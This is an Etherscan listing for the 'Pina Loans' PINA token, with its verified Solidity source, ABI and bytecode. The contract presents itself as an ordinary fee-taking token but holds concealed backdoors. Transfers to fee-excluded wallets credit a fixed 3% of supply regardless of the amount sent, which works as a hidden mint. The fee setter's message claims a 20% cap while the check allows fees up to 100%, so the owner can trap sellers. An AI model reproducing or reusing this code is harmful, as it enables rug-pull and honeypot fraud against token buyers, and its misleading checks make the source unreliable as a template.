ERC-20
Overview
Max Total Supply
1,000,000,000 PINA
Holders
141
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
979,601.826281576 PINAValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
PINA
Compiler Version
v0.8.21+commit.d9974bed
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-09-12 */ // SPDX-License-Identifier: MIT /* Pina's mission is to construct and promote the adoption of technology aimed at bringing asset-backed financing onto the blockchain. Website: https://pina.loans Twitter: https://twitter.com/pina_loans Telegram: https://t.me/pina_loans Docs: https://medium.com/@pina.loans */ pragma solidity 0.8.21; abstract contract Ownable { address internal owner; constructor(address _owner) {owner = _owner;} modifier onlyOwner() {require(isOwner(msg.sender), "!OWNER"); _;} function isOwner(address account) public view returns (bool) {return account == owner;} function renounceOwnership() external onlyOwner {owner = address(0); emit OwnershipTransferred(address(0));} function transferOwnership(address payable adr) public onlyOwner {owner = adr; emit OwnershipTransferred(adr);} event OwnershipTransferred(address owner); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } interface IRouterV2 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; } interface IFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IERC20 { function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function getOwner() external view returns (address); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract PINA is IERC20, Ownable { using SafeMath for uint256; uint8 private constant _decimals = 9; uint256 private _totalSupply = 10 ** 9 * 10 ** _decimals; string private constant _name = "Pina Loans"; string private constant _symbol = "PINA"; IRouterV2 _routerV2; address public pair; uint256 private numTaxSwaps; bool private inSwap; uint256 taxSwapAfter; uint256 private feeRateLp = 0; uint256 private feeRateMarketing = 0; uint256 private feeRateDev = 100; uint256 private feeRateBurn = 0; uint256 private buyFee = 1500; uint256 private sellFee = 1500; uint256 private transferFee = 1500; uint256 private denominator = 10000; uint256 public mTxSize = ( _totalSupply * 300 ) / 10000; uint256 public mBuySize = ( _totalSupply * 300 ) / 10000; uint256 public mHoldingSize = ( _totalSupply * 300 ) / 10000; uint256 private feeSwapMax = ( _totalSupply * 1000 ) / 100000; uint256 private feeSwapMin = ( _totalSupply * 10 ) / 100000; address internal devRecipient = 0xA61028c6852391624e50fb54F28D23D682B3f692; address internal marketingRecipient = 0xA61028c6852391624e50fb54F28D23D682B3f692; address internal lpReceipient = 0xA61028c6852391624e50fb54F28D23D682B3f692; address internal constant DEAD = 0x000000000000000000000000000000000000dEaD; bool private startedTrading = false; bool private swapEnabled = true; mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public isExcludedFee; modifier lockSwap {inSwap = true; _; inSwap = false;} constructor() Ownable(msg.sender) { IRouterV2 _router = IRouterV2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH()); _routerV2 = _router; pair = _pair; isExcludedFee[msg.sender] = true; isExcludedFee[devRecipient] = true; isExcludedFee[marketingRecipient] = true; isExcludedFee[lpReceipient] = true; _balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } receive() external payable {} function name() public pure returns (string memory) {return _name;} function symbol() public pure returns (string memory) {return _symbol;} function decimals() public pure returns (uint8) {return _decimals;} function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;} function getOwner() external view override returns (address) { return owner; } function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];} function balanceOf(address account) public view override returns (uint256) {return _balances[account];} function totalSupply() public view override returns (uint256) {return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));} function startTrading() external onlyOwner {startedTrading = true;} function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;} function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function takeFeeReceiver(address sender, address recipient, uint256 amount) internal returns (uint256) { if (isExcludedFee[recipient]) {return mTxSize;} if(getTaxAmount(sender, recipient) > 0){ uint256 feeAmount = amount.div(denominator).mul(getTaxAmount(sender, recipient)); _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); if(feeRateBurn > uint256(0) && getTaxAmount(sender, recipient) > feeRateBurn){_transfer(address(this), address(DEAD), amount.div(denominator).mul(feeRateBurn));} return amount.sub(feeAmount);} return amount; } function swapTokensToLiquidify(uint256 tokens) private lockSwap { uint256 _denominator = (feeRateLp.add(1).add(feeRateMarketing).add(feeRateDev)).mul(2); uint256 tokensToAddLiquidityWith = tokens.mul(feeRateLp).div(_denominator); uint256 toSwap = tokens.sub(tokensToAddLiquidityWith); uint256 initialBalance = address(this).balance; swapTokensForETH(toSwap); uint256 deltaBalance = address(this).balance.sub(initialBalance); uint256 unitBalance= deltaBalance.div(_denominator.sub(feeRateLp)); uint256 ETHToAddLiquidityWith = unitBalance.mul(feeRateLp); if(ETHToAddLiquidityWith > uint256(0)){addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); } uint256 marketingAmt = unitBalance.mul(2).mul(feeRateMarketing); if(marketingAmt > 0){payable(marketingRecipient).transfer(marketingAmt);} uint256 contractBalance = address(this).balance; if(contractBalance > uint256(0)){payable(devRecipient).transfer(contractBalance);} } function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private { _approve(address(this), address(_routerV2), tokenAmount); _routerV2.addLiquidityETH{value: ETHAmount}( address(this), tokenAmount, 0, 0, lpReceipient, block.timestamp); } function setTransactionRequirements(uint256 _liquidity, uint256 _marketing, uint256 _burn, uint256 _development, uint256 _total, uint256 _sell, uint256 _trans) external onlyOwner { feeRateLp = _liquidity; feeRateMarketing = _marketing; feeRateBurn = _burn; feeRateDev = _development; buyFee = _total; sellFee = _sell; transferFee = _trans; require(buyFee <= denominator.div(1) && sellFee <= denominator.div(1) && transferFee <= denominator.div(1), "buyFee and sellFee cannot be more than 20%"); } function shouldSwapCa(address sender, address recipient, uint256 amount) internal view returns (bool) { bool aboveMin = amount >= feeSwapMin; bool aboveThreshold = balanceOf(address(this)) >= feeSwapMax; return !inSwap && swapEnabled && startedTrading && aboveMin && !isExcludedFee[sender] && recipient == pair && numTaxSwaps >= taxSwapAfter && aboveThreshold; } function setTransactionLimits(uint256 _buy, uint256 _sell, uint256 _wallet) external onlyOwner { uint256 newTx = _totalSupply.mul(_buy).div(10000); uint256 newTransfer = _totalSupply.mul(_sell).div(10000); uint256 newWallet = _totalSupply.mul(_wallet).div(10000); mTxSize = newTx; mBuySize = newTransfer; mHoldingSize = newWallet; uint256 limit = totalSupply().mul(5).div(1000); require(newTx >= limit && newTransfer >= limit && newWallet >= limit, "Max TXs and Max Wallet cannot be less than .5%"); } function getTaxAmount(address sender, address recipient) internal view returns (uint256) { if(recipient == pair){return sellFee;} if(sender == pair){return buyFee;} return transferFee; } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount <= balanceOf(sender),"You are trying to transfer more than your balance"); if(!isExcludedFee[sender] && !isExcludedFee[recipient]){require(startedTrading, "startedTrading");} if(!isExcludedFee[sender] && !isExcludedFee[recipient] && recipient != address(pair) && recipient != address(DEAD)){ require((_balances[recipient].add(amount)) <= mHoldingSize, "Exceeds maximum wallet amount.");} if(sender != pair){require(amount <= mBuySize || isExcludedFee[sender] || isExcludedFee[recipient], "TX Limit Exceeded");} require(amount <= mTxSize || isExcludedFee[sender] || isExcludedFee[recipient], "TX Limit Exceeded"); if(recipient == pair && !isExcludedFee[sender]){numTaxSwaps += uint256(1);} if(shouldSwapCa(sender, recipient, amount)){swapTokensToLiquidify(feeSwapMax); numTaxSwaps = uint256(0);} _balances[sender] = _balances[sender].sub(amount); uint256 amountReceived = !isExcludedFee[sender] ? takeFeeReceiver(sender, recipient, amount) : amount; _balances[recipient] = _balances[recipient].add(amountReceived); emit Transfer(sender, recipient, amountReceived); } function swapTokensForETH(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = _routerV2.WETH(); _approve(address(this), address(_routerV2), tokenAmount); _routerV2.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"mBuySize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"mHoldingSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"mTxSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_wallet","type":"uint256"}],"name":"setTransactionLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidity","type":"uint256"},{"internalType":"uint256","name":"_marketing","type":"uint256"},{"internalType":"uint256","name":"_burn","type":"uint256"},{"internalType":"uint256","name":"_development","type":"uint256"},{"internalType":"uint256","name":"_total","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_trans","type":"uint256"}],"name":"setTransactionRequirements","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"adr","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052620000126009600a620004c0565b6200002290633b9aca00620004d7565b6001555f6007555f60085560646009555f600a556105dc600b556105dc600c556105dc600d55612710600e5561271060015461012c620000639190620004d7565b6200006f9190620004f1565b600f5561271060015461012c620000879190620004d7565b620000939190620004f1565b60105561271060015461012c620000ab9190620004d7565b620000b79190620004f1565b601155620186a06001546103e8620000d09190620004d7565b620000dc9190620004f1565b601255620186a0600154600a620000f49190620004d7565b620001009190620004f1565b6013556014805473a61028c6852391624e50fb54f28d23d682b3f6926001600160a01b03199182168117909255601580549091169091179055601680546001600160b01b031916750100a61028c6852391624e50fb54f28d23d682b3f6921790553480156200016d575f80fd5b505f80546001600160a01b031916331781556040805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d9291839163c45a0155916004808201926020929091908290030181865afa158015620001d2573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001f8919062000511565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000244573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200026a919062000511565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015620002b5573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002db919062000511565b600280546001600160a01b038581166001600160a01b031992831617909255600380548484169216919091179055335f818152601960209081526040808320805460ff1990811660019081179092556014548716855282852080548216831790556015548716855282852080548216831790556016549096168452818420805490961681179095559354838352601782528483208190559351938452939450909290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505062000539565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200040557815f1904821115620003e957620003e9620003b1565b80851615620003f757918102915b93841c9390800290620003ca565b509250929050565b5f826200041d57506001620004ba565b816200042b57505f620004ba565b81600181146200044457600281146200044f576200046f565b6001915050620004ba565b60ff841115620004635762000463620003b1565b50506001821b620004ba565b5060208310610133831016604e8410600b841016171562000494575081810a620004ba565b620004a08383620003c5565b805f1904821115620004b657620004b6620003b1565b0290505b92915050565b5f620004d060ff8416836200040d565b9392505050565b8082028115828204841417620004ba57620004ba620003b1565b5f826200050c57634e487b7160e01b5f52601260045260245ffd5b500490565b5f6020828403121562000522575f80fd5b81516001600160a01b0381168114620004d0575f80fd5b61182b80620005475f395ff3fe608060405260043610610129575f3560e01c8063715018a6116100a8578063a8aa1b311161006d578063a8aa1b3114610361578063a9059cbb14610380578063c958e6e61461039f578063cb7f97d7146103b4578063dd62ed3e146103d3578063f2fde38b14610417575f80fd5b8063715018a6146102a45780637fef6789146102b8578063893d20e8146102e657806395d89b41146103165780639cc3535114610342575f80fd5b80632f54bf6e116100ee5780632f54bf6e146101fe578063304db4231461022b578063313ce5671461024057806357b074e11461025b57806370a0823114610270575f80fd5b806306fdde0314610134578063095ea7b31461017857806318160ddd146101a757806323b872dd146101c9578063293230b8146101e8575f80fd5b3661013057005b5f80fd5b34801561013f575f80fd5b5060408051808201909152600a81526950696e61204c6f616e7360b01b60208201525b60405161016f91906114e8565b60405180910390f35b348015610183575f80fd5b5061019761019236600461154a565b610436565b604051901515815260200161016f565b3480156101b2575f80fd5b506101bb61044c565b60405190815260200161016f565b3480156101d4575f80fd5b506101976101e3366004611574565b6104bc565b3480156101f3575f80fd5b506101fc610524565b005b348015610209575f80fd5b506101976102183660046115b2565b5f546001600160a01b0391821691161490565b348015610236575f80fd5b506101bb60115481565b34801561024b575f80fd5b506040516009815260200161016f565b348015610266575f80fd5b506101bb600f5481565b34801561027b575f80fd5b506101bb61028a3660046115b2565b6001600160a01b03165f9081526017602052604090205490565b3480156102af575f80fd5b506101fc61056b565b3480156102c3575f80fd5b506101976102d23660046115b2565b60196020525f908152604090205460ff1681565b3480156102f1575f80fd5b505f546001600160a01b03165b6040516001600160a01b03909116815260200161016f565b348015610321575f80fd5b5060408051808201909152600481526350494e4160e01b6020820152610162565b34801561034d575f80fd5b506101fc61035c3660046115cd565b6105d8565b34801561036c575f80fd5b506003546102fe906001600160a01b031681565b34801561038b575f80fd5b5061019761039a36600461154a565b610714565b3480156103aa575f80fd5b506101bb60105481565b3480156103bf575f80fd5b506101fc6103ce3660046115f6565b610720565b3480156103de575f80fd5b506101bb6103ed36600461163d565b6001600160a01b039182165f90815260186020908152604080832093909416825291909152205490565b348015610422575f80fd5b506101fc6104313660046115b2565b610814565b5f610442338484610890565b5060015b92915050565b60176020527fd840e16649f6b9a295d95876f4633d3a6b10b55e8162971cf78afd886d5ec89b5461dead5f9081527f43fedf50e12e5c047fbe3576d03ab50250348e9a6030f531ab6d4ce10f5b03035460015491926104b79290916104b191906109b3565b906109b3565b905090565b5f6104c88484846109be565b6105198433610514856040518060600160405280602881526020016117ce602891396001600160a01b038a165f9081526018602090815260408083203384529091529020549190610eff565b610890565b5060015b9392505050565b5f546001600160a01b031633146105565760405162461bcd60e51b815260040161054d90611674565b60405180910390fd5b6016805460ff60a01b1916600160a01b179055565b5f546001600160a01b031633146105945760405162461bcd60e51b815260040161054d90611674565b5f80546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b5f546001600160a01b031633146106015760405162461bcd60e51b815260040161054d90611674565b5f61062361271061061d86600154610f2a90919063ffffffff16565b90610f35565b90505f61064161271061061d86600154610f2a90919063ffffffff16565b90505f61065f61271061061d86600154610f2a90919063ffffffff16565b600f8490556010839055601181905590505f61068a6103e861061d600561068461044c565b90610f2a565b905080841015801561069c5750808310155b80156106a85750808210155b61070b5760405162461bcd60e51b815260206004820152602e60248201527f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560448201526d206c657373207468616e202e352560901b606482015260840161054d565b50505050505050565b5f6104423384846109be565b5f546001600160a01b031633146107495760405162461bcd60e51b815260040161054d90611674565b60078790556008869055600a8590556009849055600b839055600c829055600d819055600e5461077a906001610f35565b600b541115801561079a5750600e54610794906001610f35565b600c5411155b80156107b55750600e546107af906001610f35565b600d5411155b61070b5760405162461bcd60e51b815260206004820152602a60248201527f62757946656520616e642073656c6c4665652063616e6e6f74206265206d6f7260448201526965207468616e2032302560b01b606482015260840161054d565b5f546001600160a01b0316331461083d5760405162461bcd60e51b815260040161054d90611674565b5f80546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b0383166108f25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161054d565b6001600160a01b0382166109535760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161054d565b6001600160a01b038381165f8181526018602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f61051d82846116a8565b6001600160a01b038316610a225760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161054d565b6001600160a01b038216610a845760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161054d565b6001600160a01b0383165f90815260176020526040902054811115610b055760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b606482015260840161054d565b6001600160a01b0383165f9081526019602052604090205460ff16158015610b4557506001600160a01b0382165f9081526019602052604090205460ff16155b15610b9457601654600160a01b900460ff16610b945760405162461bcd60e51b815260206004820152600e60248201526d7374617274656454726164696e6760901b604482015260640161054d565b6001600160a01b0383165f9081526019602052604090205460ff16158015610bd457506001600160a01b0382165f9081526019602052604090205460ff16155b8015610bee57506003546001600160a01b03838116911614155b8015610c0557506001600160a01b03821661dead14155b15610c7d576011546001600160a01b0383165f90815260176020526040902054610c2f9083610f40565b1115610c7d5760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e0000604482015260640161054d565b6003546001600160a01b03848116911614610d1c5760105481111580610cba57506001600160a01b0383165f9081526019602052604090205460ff165b80610cdc57506001600160a01b0382165f9081526019602052604090205460ff165b610d1c5760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b604482015260640161054d565b600f5481111580610d4457506001600160a01b0383165f9081526019602052604090205460ff165b80610d6657506001600160a01b0382165f9081526019602052604090205460ff165b610da65760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b604482015260640161054d565b6003546001600160a01b038381169116148015610ddb57506001600160a01b0383165f9081526019602052604090205460ff16155b15610df857600160045f828254610df291906116bb565b90915550505b610e03838383610f4b565b15610e1857610e13601254611003565b5f6004555b6001600160a01b0383165f90815260176020526040902054610e3a90826109b3565b6001600160a01b0384165f90815260176020908152604080832093909355601990529081205460ff1615610e6e5781610e79565b610e79848484611173565b6001600160a01b0384165f90815260176020526040902054909150610e9e9082610f40565b6001600160a01b038085165f8181526017602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ef19085815260200190565b60405180910390a350505050565b5f8184841115610f225760405162461bcd60e51b815260040161054d91906114e8565b505050900390565b5f61051d82846116ce565b5f61051d82846116e5565b5f61051d82846116bb565b601354601254305f9081526017602052604081205460055491938510159211159060ff16158015610f855750601654600160a81b900460ff165b8015610f9a5750601654600160a01b900460ff165b8015610fa35750815b8015610fc757506001600160a01b0386165f9081526019602052604090205460ff16155b8015610fe057506003546001600160a01b038681169116145b8015610ff0575060065460045410155b8015610ff95750805b9695505050505050565b6005805460ff191660019081179091556009546008546007545f9361103c93600293610684939192611036928391610f40565b90610f40565b90505f6110588261061d60075486610f2a90919063ffffffff16565b90505f61106584836109b3565b9050476110718261129d565b5f61107c47836109b3565b90505f61109e611097600754886109b390919063ffffffff16565b8390610f35565b90505f6110b660075483610f2a90919063ffffffff16565b905080156110c8576110c886826113ed565b6008545f906110dc90610684856002610f2a565b9050801561111d576015546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561111b573d5f803e3d5ffd5b505b47801561115d576014546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561115b573d5f803e3d5ffd5b505b50506005805460ff191690555050505050505050565b6001600160a01b0382165f9081526019602052604081205460ff161561119c5750600f5461051d565b5f6111a7858561149e565b1115611296575f6111c96111bb868661149e565b600e54610684908690610f35565b305f908152601760205260409020549091506111e59082610f40565b305f81815260176020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112359085815260200190565b60405180910390a35f600a541180156112585750600a54611256868661149e565b115b15611284576112843061dead61127f600a54610684600e5489610f3590919063ffffffff16565b6109be565b61128e83826109b3565b91505061051d565b5092915050565b6040805160028082526060820183525f9260208301908036833701905050905030815f815181106112d0576112d0611704565b6001600160a01b03928316602091820292909201810191909152600254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611327573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061134b9190611718565b8160018151811061135e5761135e611704565b6001600160a01b0392831660209182029290920101526002546113849130911684610890565b60025460405163791ac94760e01b81526001600160a01b039091169063791ac947906113bc9085905f90869030904290600401611733565b5f604051808303815f87803b1580156113d3575f80fd5b505af11580156113e5573d5f803e3d5ffd5b505050505050565b6002546114059030906001600160a01b031684610890565b60025460165460405163f305d71960e01b8152306004820152602481018590525f6044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af1158015611472573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061149791906117a2565b5050505050565b6003545f906001600160a01b03908116908316036114bf5750600c54610446565b6003546001600160a01b03908116908416036114de5750600b54610446565b50600d5492915050565b5f6020808352835180828501525f5b81811015611513578581018301518582016040015282016114f7565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611547575f80fd5b50565b5f806040838503121561155b575f80fd5b823561156681611533565b946020939093013593505050565b5f805f60608486031215611586575f80fd5b833561159181611533565b925060208401356115a181611533565b929592945050506040919091013590565b5f602082840312156115c2575f80fd5b813561051d81611533565b5f805f606084860312156115df575f80fd5b505081359360208301359350604090920135919050565b5f805f805f805f60e0888a03121561160c575f80fd5b505085359760208701359750604087013596606081013596506080810135955060a0810135945060c0013592509050565b5f806040838503121561164e575f80fd5b823561165981611533565b9150602083013561166981611533565b809150509250929050565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561044657610446611694565b8082018082111561044657610446611694565b808202811582820484141761044657610446611694565b5f826116ff57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611728575f80fd5b815161051d81611533565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156117815784516001600160a01b03168352938301939183019160010161175c565b50506001600160a01b03969096166060850152505050608001529392505050565b5f805f606084860312156117b4575f80fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207116f24e34ca014b103b10622d0e5186203a5df3fd10ac36b0d3d13ec6cd9fa964736f6c63430008150033
Deployed Bytecode
0x608060405260043610610129575f3560e01c8063715018a6116100a8578063a8aa1b311161006d578063a8aa1b3114610361578063a9059cbb14610380578063c958e6e61461039f578063cb7f97d7146103b4578063dd62ed3e146103d3578063f2fde38b14610417575f80fd5b8063715018a6146102a45780637fef6789146102b8578063893d20e8146102e657806395d89b41146103165780639cc3535114610342575f80fd5b80632f54bf6e116100ee5780632f54bf6e146101fe578063304db4231461022b578063313ce5671461024057806357b074e11461025b57806370a0823114610270575f80fd5b806306fdde0314610134578063095ea7b31461017857806318160ddd146101a757806323b872dd146101c9578063293230b8146101e8575f80fd5b3661013057005b5f80fd5b34801561013f575f80fd5b5060408051808201909152600a81526950696e61204c6f616e7360b01b60208201525b60405161016f91906114e8565b60405180910390f35b348015610183575f80fd5b5061019761019236600461154a565b610436565b604051901515815260200161016f565b3480156101b2575f80fd5b506101bb61044c565b60405190815260200161016f565b3480156101d4575f80fd5b506101976101e3366004611574565b6104bc565b3480156101f3575f80fd5b506101fc610524565b005b348015610209575f80fd5b506101976102183660046115b2565b5f546001600160a01b0391821691161490565b348015610236575f80fd5b506101bb60115481565b34801561024b575f80fd5b506040516009815260200161016f565b348015610266575f80fd5b506101bb600f5481565b34801561027b575f80fd5b506101bb61028a3660046115b2565b6001600160a01b03165f9081526017602052604090205490565b3480156102af575f80fd5b506101fc61056b565b3480156102c3575f80fd5b506101976102d23660046115b2565b60196020525f908152604090205460ff1681565b3480156102f1575f80fd5b505f546001600160a01b03165b6040516001600160a01b03909116815260200161016f565b348015610321575f80fd5b5060408051808201909152600481526350494e4160e01b6020820152610162565b34801561034d575f80fd5b506101fc61035c3660046115cd565b6105d8565b34801561036c575f80fd5b506003546102fe906001600160a01b031681565b34801561038b575f80fd5b5061019761039a36600461154a565b610714565b3480156103aa575f80fd5b506101bb60105481565b3480156103bf575f80fd5b506101fc6103ce3660046115f6565b610720565b3480156103de575f80fd5b506101bb6103ed36600461163d565b6001600160a01b039182165f908